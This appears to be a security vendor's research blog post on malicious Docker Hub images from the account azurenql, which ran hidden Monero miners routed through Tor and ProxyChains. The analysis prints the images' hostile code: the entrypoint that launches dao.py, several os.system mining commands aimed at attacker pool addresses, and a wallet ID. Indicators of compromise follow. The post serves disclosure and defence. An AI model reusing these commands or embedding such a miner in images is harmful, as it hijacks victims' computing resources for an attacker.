This post is also available in: 日本語 (Japanese)
Executive Summary
Docker containers have been gaining popularity over the past few years as an effective way of packaging software applications. Docker Hub provides a strong community-based model for users and companies to share their software applications. This is also attracting the attention of malicious actors intending to make money by cryptojacking within Docker containers and using Docker Hub to distribute these images.
We identified a malicious Docker Hub account, azurenql, active since October 2019 that was hosting six malicious images intended to mine the cryptocurrency, Monero. The coin mining code within the image intends to evade network detection by using network anonymizing tools such as ProxyChains and Tor. The images hosted on this account have been collectively pulled more than two million times. For context, there are legitimate Azure related images under the official Microsoft Docker Hub account that have anywhere from a few thousand to 100 million+ pulls. One of the wallet IDs identified has been used to earn more than 525.38 XMR, which roughly translates to $36,000 USD. Additionally, when we last checked minexmr.com for this wallet ID, we saw recent activity indicating that it’s still being used.
We would like to give a shout out to the awesome security team at Docker Hub. They were very responsive and were able to take down this malicious Docker Hub account quickly in response to our notification.
Palo Alto Networks customers are protected by this threat through Threat Prevention signatures on the Next-Generation Firewall. Prisma Cloud customers are protected by this through the Trusted Images feature.
Introduction
We have identified a Docker Hub community user account named azurenql that contained eight repositories hosting six malicious Monero mining images. Here is a screenshot of the account and its repositories.
Table 1, below, provides a summary of all the images found under this Docker Hub account, listed in descending order of their pull counts. It is worth noting that the top image was pulled more than 1.47 million times.
Image Name | Repo Digest | Image ID | Last Updated | Size
(MB) |
Pull Count |
azurenql/53_57:442 | 7bb3553eea.. | 82527b2cf0.. | 2019-12-02T18:15:07 | 529 | 1476110 |
azurenql/93_164:442 | e0bc99060c.. | 2943a51346.. | 2019-10-31T22:14:46 | 521 | 761191 |
azurenql/234_122:442 | 8c24aac84a.. | 4598f07f42.. | 2019-12-02T20:25:50 | 529 | 567185 |
azurenql/227_135:442 | c42b461d06.. | 87ed2bf1b7.. | 2019-12-03T13:18:19 | 529 | 547510 |
azurenql/227_135_app:442 | 8fd6a0ad7d.. | d9dc7dc415.. | 2019-10-26T20:39:01 | 521 | 8134 |
azurenql/227_135_tor:442 | a8dfce336c.. | 4bb08b8d20.. | 2019-10-26T07:06:09 | 521 | 6064 |
66_42_53_57 | Empty | Empty | N/A | 0 | 0 |
test | Empty | Empty | N/A | 0 | 0 |
Table 1. Summary of images found on the Docker Hub account
Docker Image Structure
To understand how the image is built, we reviewed the image structure of the image azurenql /227_135:442. The image is built in the following sequence of steps:
- Use Ubuntu 16.04.6 LTS as the “base image”.
- Install dependencies required for building from source, such as gcc, make, python, etc.
- Install Tor to anonymize traffic. It is configured to listen on its default port, 9050.
1 2 |
/etc/tor/torrc 127.0.0.1:9050 |
- Copy the source of ProxyChains-NG and build from source. The ProxyChains config is left as default to route its traffic through the local Tor SOCKS proxy connection.
1 2 3 4 |
/usr/local/etc/proxychains.conf [ProxyList] # defaults set to "tor" socks4 127.0.0.1 9050 |
- Copy the source of the mining software, XMRig, and build from source.
- Copy a custom python script dao.py and set it as the image’s Entrypoint.
Figure 2, below, demonstrates this sequence.
Custom Script dao.py Analysis
The author of these images has included a custom Python script called dao.py, which is responsible for starting the mining process within the container, and was included in all the images.
As mentioned earlier, this script is registered as the Entrypoint in the image so that as soon as the image is started, this script will run.
1 2 3 4 5 |
"Entrypoint": [ "/bin/sh", "-c", "python /etc/dao.py" ], |
All the Docker images mentioned in Table 1 contain some variant of this dao.py script. The only difference between the dao.py scripts in these images is that they use a different XMRig command line invocation. The different XMRig command line invocations are listed in Table 2.
High-level execution flow of the dao.py script:
- Find the number of CPU cores on the system.
- Set hugepages system property to increase the hash rate.
- Install Tor and build dependencies.
- If proxychains-ng is not already installed, install it from https://github.com/rofl0r/proxychains-ng.git
- If XMRig binary (“dlls”) is not present in /usr/local/bin, download it from https://github.com/nguyennhatduy2608/azures/raw/master/
- Symlink the XMRig binary (“dlls”) under /usr/local/bin and /usr/bin
- Start Tor in the background.
- Launch the miner through proxychains, which in turn routes the miner traffic through the local Tor SOCKS proxy as described earlier. A list of all the different mining commands used across the different dao.py versions is included in Table 2.
The script’s execution workflow is also demonstrated in Figure 5 below.
Image_Name | Dao.py hash | Crypto command |
azurenql/234_122:442 | 3a04405e83.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.234.122:442 --tls -t ' + str(cores)) |
azurenql/227_135:442 | 937d59ca35.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores)) |
azurenql/227_135_tor:442 | b7e07fc8ea.. | os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://5pwcq42aa42fjzel.onion:442 --tls -t ' + str(cores)) |
azurenql/227_135_app:442 | de518f1690.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores)) |
azurenql/93_164:442 | 81496a54fe.. | os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores)) |
azurenql/53_57:442 | 5d1cb23f8f.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://66.42.53.57:442 --tls -t ' + str(cores)) |
Table 2. Different mining commands used in the dao.py scripts
Mining Infrastructure
Cryptomining is about solving a complex computational problem, which allows users to chain together blocks of transactions. These images are utilizing the processing power of the victim systems to verify transactions. Here, the image author is using two methods to mine the blocks by running these malicious images in the user's environment.
In the first method, the attacker is directly submitting the mined blocks to the central minexmr pool using a wallet ID.
1 2 3 4 |
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o stratum+tcp://pool.minexmr.com:4444 -u 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2 Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001') |
When we looked up the transaction summary on the Monero mining pool, minexmr.com for this wallet ID, we saw recent activity indicating that the wallet ID is still used.
Figure 6 below shows the mining activity for this wallet in April and May 2020.
Figure 7 below indicates that this wallet ID has already earned 525.38 XMR, which roughly translates to $36,000 USD.
Whereas in the second method, the author has instances deployed on a hosting service running their own mining pool that are used to collect mined blocks.
The “Crypto Command” column in Table 2 lists examples of this method.
1 2 |
os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores)) |
Conclusion
Docker containers provide a convenient way for packaging software, which is evident by its increasing adoption rate. This combined with coin mining makes it easy for a malicious actor to distribute their images to any machine that supports Docker and instantly start using its compute resources towards cryptojacking.
Palo Alto Networks Next-Generation Firewall customers subscribed for Threat Prevention are protected by this threat. Palo Alto Networks has released a Threat Signature to prevent network based delivery of the malicious images identified in this blog. Details of this signature are:
Threat ID | Name |
85887 | Coin Mining Docker image Detection |
Table 3. Signature description for NGFW coverage
In addition, security best practices are recommended such as:
-
- Avoid pulling or using base images from untrusted repositories.
- Install the latest apps and threat definitions on the Palo Alto Networks Next-Generation Firewall.
- Palo Alto Networks Prisma Cloud can be used to secure cloud deployments.
Indicators of Compromise
Images
Image Name | Repo Digest | Image ID |
azurenql/53_57:442 | 7bb3553eea6e049a943bc2077949bc767daab2c3c993ce1001176f81c9dbb565 | 82527b2cf0c741e43d5beb2f7dd9c8ef8c18019a00e9d6cde8481ca170d92159 |
azurenql/93_164:442 | e0bc99060cc2374d7b6a2593d512087a00b25ed3f6aa96aa044f90bf7e755b9b | 2943a51346c979bc637d58af4314eb234ebe6c094f636e604936fdba987b80e6 |
azurenql/234_122:442 | 8c24aac84a7da666cde299a825e762b929baedb4f77722e9f7b1959066284d0c | 4598f07f42ce42ee0407493bd4230dcc84879b90632afdd5a6e63a9dd7c19e9a |
azurenql/227_135:442 | c42b461d0685cf6f9a020d22c0479867ddaa0fe74527d45b6daf436c2f8085c8 | 87ed2bf1b7be74c5ec7bedb39069e580fd66c7c9b6c306049e3755dd2b269572 |
azurenql/227_135_app:442 | 8fd6a0ad7d3832112b592ab2ec24bb94c90714373caa0ef7e625f0df0d171849 | d9dc7dc4152f538a31c0a04b59c38df587a6a740af5569541f5e30d0f089e32f |
azurenql/227_135_tor:442 | a8dfce336cca4143ec99f118d4ec9d0ee791c3f8f1816043c21f5bbd006209ff | 4bb08b8d20b45fa8b592c84836ef6acc6427855f30de9f07beb4b5aed3a1d098 |
Mining Infrastructure
Wallet ID 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Hostname:Port
73avhutb24chfsh6[.]onion:442
5pwcq42aa42fjzel[.]onion:442
pool[.]minexmr.com:4444
IP:Port
66[.]42.93.164:442
155[.]138.234.122:442
155[.]138.227.135:442
66[.]42.53.57:442
144[.]202.23.108:4444
Samples
dao.py script hashes
3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f
937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b
b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9
de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93
81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd
5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hub account
hub.docker.com/u/azurenql